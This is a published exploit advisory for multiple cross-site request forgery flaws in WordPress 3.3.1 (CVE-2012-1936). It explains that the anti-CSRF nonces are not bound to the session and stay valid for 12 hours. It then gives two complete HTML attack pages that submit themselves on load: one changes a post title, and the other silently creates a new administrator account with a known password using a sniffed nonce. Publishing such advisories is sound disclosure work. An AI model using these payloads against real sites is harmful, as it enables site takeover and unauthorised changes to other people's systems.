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WordPress 3.3.1 Cross Site Request Forgery

WordPress 3.3.1 Cross Site Request Forgery
Posted Apr 26, 2012
Authored by Ivano Binetti

WordPress version 3.3.1 suffers from multiple cross site request forgery vulnerabilities.

tags | exploit, vulnerability, csrf
advisories | CVE-2012-1936
MD5 | 85cd48a8821994c7a19ea7c625c95528

WordPress 3.3.1 Cross Site Request Forgery

Change Mirror Download
+---------------------------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : Wordpress 3.3.1 Multiple CSRF Vulnerabilities
# Date : 19-03-2012
# Author : Ivano Binetti (http://www.ivanobinetti.com)
# Software link : http://wordpress.org/wordpress-3.3.1.zip
# Vendor site : http://wordpress.org
# Version : 3.3.1 (and lower). Probably also version 3.3.2 is affected.
# Tested on : Debian Squeeze (6.0)
# CVE : CVE-2012-1936
# Original Advisory : http://www.webapp-security.com/2012/04/wordpress-3-3-1-multiple-csrf-vulnerabilities/
# Other Advisory : http://packetstormsecurity.org/files/112253/WordPress-3.3.1-Cross-Site-Request-Forgery.html
+---------------------------------------------------------------------------------------------------------------------------------------------------+
Summary
1)Introduction
2)Vulnerabilities Description
2.1 Multiple CSRF
3)Exploit
3.1 CSRF (Change Post Title)
3.2 CSRF (Add Admin)
+---------------------------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
WordPress "is web software you can use to create a beautiful website or blog. We like to say that WordPress is both free and priceless at
the same time."

2)Vulnerability Description
2.1 Multiple CSRF
Wordpress 3.3.1 suffers from multiple CSRF vulnerabilities which allow an attacker to change post title, add
administrators/users, delete administrators/users, approve and unapprove comment, delete comment, change background image, insert custom
header image, change site title, change administrator's email, change Wordpress Address, change Site Address, when an authenticated user/admin
browses a special crafted web page. May be other parameters can be modified.
This vulnerability is caused by a security flaw in anti-CSRF token (_wpnonce, _wpnonce_create-user, _ajax_nonce,
_wpnonce-custom-background-upload, _wpnonce-custom-header-upload) generation. For some operations (see below) above specified anti-CSRF tokens are
not associated with the current user session (as Owasp recommends) but are the are valid for all operations (for a specific administrator/user)
within 12 hour.
The above described vulnerability allows an attacker - who has sniffed anti-CSRF token - to have 12 hour to perform a CSRF attack.
For Owasp recommendation about anti-CSRF token, you can read the following document:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet#General_Recommendation:_Synchronizer_Token_Pattern
This problem affects the following operations:
- Add Admin/User
- Delete Admin/User
- Approve comment
- Unapprove comment
- Delete comment
- Change background image
- Insert custom header image
- Change site title
- Change administrator's email
- Change Wordpress Address
- Change Site Address
Other operations (like insert a new post) are not affected by this CSRF vulnerability.
In this Advisory I will only demonstrate how to change post title and how to add a new administrator account.

3)Exploit

3.1 CSRF (Change Post Title)
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change post title</H2>
<form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/admin-ajax.php">
<input type="hidden" name="post_title" value="hackedtitle"/>
<input type="hidden" name="post_name" value="hackedtitle"/>
<input type="hidden" name="mm" value="03"/>
<input type="hidden" name="jj" value="16"/>
<input type="hidden" name="aa" value="2012"/>
<input type="hidden" name="hh" value=""/>
<input type="hidden" name="mn" value=""/>
<input type="hidden" name="ss" value=""/>
<input type="hidden" name="post_author" value="1"/>
<input type="hidden" name="post_password" value=""/>
<input type="hidden" name="post_category%5B%5D" value="0"/>
<input type="hidden" name="post_category%5B%5D" value="1"/>
<input type="hidden" name="tax_input%5Bpost_tag%5D" value=""/>
<input type="hidden" name="comment_status" value="open"/>
<input type="hidden" name="ping_status" value="open"/>
<input type="hidden" name="_status" value="publish"/>
<input type="hidden" name="post_format" value="0"/>
<input type="hidden" name="_inline_edit" value="<sniffed_value>"/>
<input type="hidden" name="post_view" value="list"/>
<input type="hidden" name="screen" value="edit-post"/>
<input type="hidden" name="action" value="inline-save"/>
<input type="hidden" name="post_type" value="post"/>
<input type="hidden" name="post_ID" value="1"/>
<input type="hidden" name="edit_date" value="true"/>
<input type="hidden" name="post_status" value="all"/>
</form>
</body>
</html>

Note: this exploit simulate changing of post title using "Quick Edit" function

3.2 CSRF (Add Admin)
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add Administrator</H2>
<form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php">
<input type="hidden" name="action" value="createuser"/>
<input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/>
<input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/>
<input type="hidden" name="user_login" value="admin2"/>
<input type="hidden" name="email" value="admin2@admin.com"/>
<input type="hidden" name="first_name" value="admin2@admin.com"/>
<input type="hidden" name="last_name" value=""/>
<input type="hidden" name="url" value=""/>
<input type="hidden" name="pass1" value="password"/>
<input type="hidden" name="pass2" value="password"/>
<input type="hidden" name="role" value="administrator"/>
<input type="hidden" name="createuser" value="Add+New+User+"/>
</form>
</body>
</html>
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